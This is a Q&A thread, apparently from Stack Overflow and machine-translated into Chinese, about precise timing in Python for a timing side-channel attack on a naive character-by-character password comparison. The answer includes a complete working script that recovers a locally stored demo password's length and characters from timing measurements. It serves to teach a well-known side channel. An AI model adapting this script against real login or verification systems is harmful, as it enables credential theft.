【问题标题】:How to have precise time in python for timing attacks?如何在python中有精确的时间进行定时攻击?
【发布时间】:2022-11-15 21:52:00
【问题描述】:

我想知道为什么当我重新排序两个嵌套的 for 循环时,python 给了我两个不同的时间。 不同之处在于导致结果不准确的显着性。

这几乎给了我我期望看到的结果:

for i in range(20000):
        for j in possibleChars:
            entered_pwd = passStr + j + possibleChars[0] * leftPassLen
            st = time.perf_counter_ns()
            verify_password(stored_pwd, entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[j] += endTime

但是从我的观点来看,这段代码会产生不准确的结果:

for i in possibleChars:
        for j in range(20000):
            entered_pwd = passStr + i + possibleChars[0] * leftPassLen
            st = time.perf_counter_ns()
            verify_password(stored_pwd, entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[i] += endTime

这是我试图对其运行计时攻击的功能:

def verify_password(stored_pwd, entered_pwd):
    if len(stored_pwd) != len(entered_pwd):
        return False
    for i in range(len(stored_pwd)):
        if stored_pwd[i] != entered_pwd[i]:
            return False
    return True

我还观察到字符“U”(大写)存在问题,因此要成功运行,我必须将其从可能的字符列表中删除。 问题是当我测量“U”的时间时,它总是接近其他字符的两倍。 如果您有任何问题,请告诉我。

【问题讨论】:

  • 可能只是调度、CPU 时钟更改或 Python 的垃圾收集器的问题。第一个版本将分散所有角色的任何临时性能干扰。第二个一次测试一个字符,因此它会受到更大的影响
  • @Homer512,谢谢,但您知道,我运行代码 20000 次以确保 CPU 时钟更改对不同字符的代码产生同样的影响。
  • 好吧,您是否尝试过反转字符列表或更改迭代次数?它会影响哪个角色造成麻烦吗?
  • 我还建议跟踪差异。只需运行在线算法 (en.wikipedia.org/wiki/Algorithms_for_calculating_variance) 它可以很好地指示您是否受到运行时差异的影响,并且可能允许您丢弃异常值
  • @ Homer512,除了'U',它是随机发生的,我的意思是每次它向我展示一个不同的角色。所以,可能这与我使用的可能字符的范围无关,并且我的列表中没有包括(!、@、# 等)

标签: python time timing timing-attack side-channel-attacks


【解决方案1】:

在这里总结时间可能不是一个好主意:
由于日程安排等原因造成的一次中断将对总数产生巨大影响,并可能使您的测量完全无效。
在第一个循环中进行迭代可能更有可能在测量中更均匀地传播噪声(但这只是一个有根据的猜测)。
但是,最好使用中值或最小时间而不是总和。
这样,您就可以消除所有嘈杂的测量。

话虽如此,我预计时间差异不会很大,与更多低级语言相比,python 作为一种高级语言会产生更多嘈杂的测量结果(因为垃圾收集等)。

但它仍然有效:)
我已经实现了一个依赖于最短时间(而不是总和)的示例。 在我的本地机器上,它可以可靠地工作,除了最后一个字符,其中时间差异要小得多:

import time
import string
# We want to leak this
stored_pwd = "S3cret"

def verify_password(entered_pwd):
    if len(stored_pwd) != len(entered_pwd):
        return False
    for i in range(len(stored_pwd)):
        if stored_pwd[i] != entered_pwd[i]:
            return False
    return True

possibleChars = string.printable
MEASUREMENTS = 2000 # works even with numbers as small as 20 (for me)

def find_char(prefix, len_pwd):
    tmr = {i: 9999999999 for i in possibleChars}
    for i in possibleChars:
        for j in range(MEASUREMENTS):
            entered_pwd = prefix + i + i * (len_pwd - len(prefix) - 1)
            st = time.perf_counter_ns()
            verify_password(entered_pwd)
            endTime = time.perf_counter_ns() - st
            tmr[i] = min(endTime, tmr[i])
    return max(tmr.items(), key = lambda x: x[1])[0]                        

def find_length(max_length = 100):
    tmr = [99999999 for i in range(max_length + 1)]
    for i in range(max_length + 1):
        for j in range(MEASUREMENTS):
            st = time.perf_counter_ns()
            verify_password("X" * i)
            endTime = time.perf_counter_ns() - st
            tmr[i] = min(endTime, tmr[i])
    return max(enumerate(tmr), key = lambda x: x[1])[0]    

length = find_length()
print(f"password length: {length}")

recovered_password = ""
for i in range(length):
    recovered_password += find_char(recovered_password, length)
    print(f"{recovered_password}{'?' * (length - len(recovered_password))}")

print(f"Password: {recovered_password}")

【讨论】:

    猜你喜欢
    • 2018-06-23
    • 2013-05-22
    • 1970-01-01
    • 2012-04-14
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2014-09-20
    • 2021-12-04
    相关资源
    最近更新 更多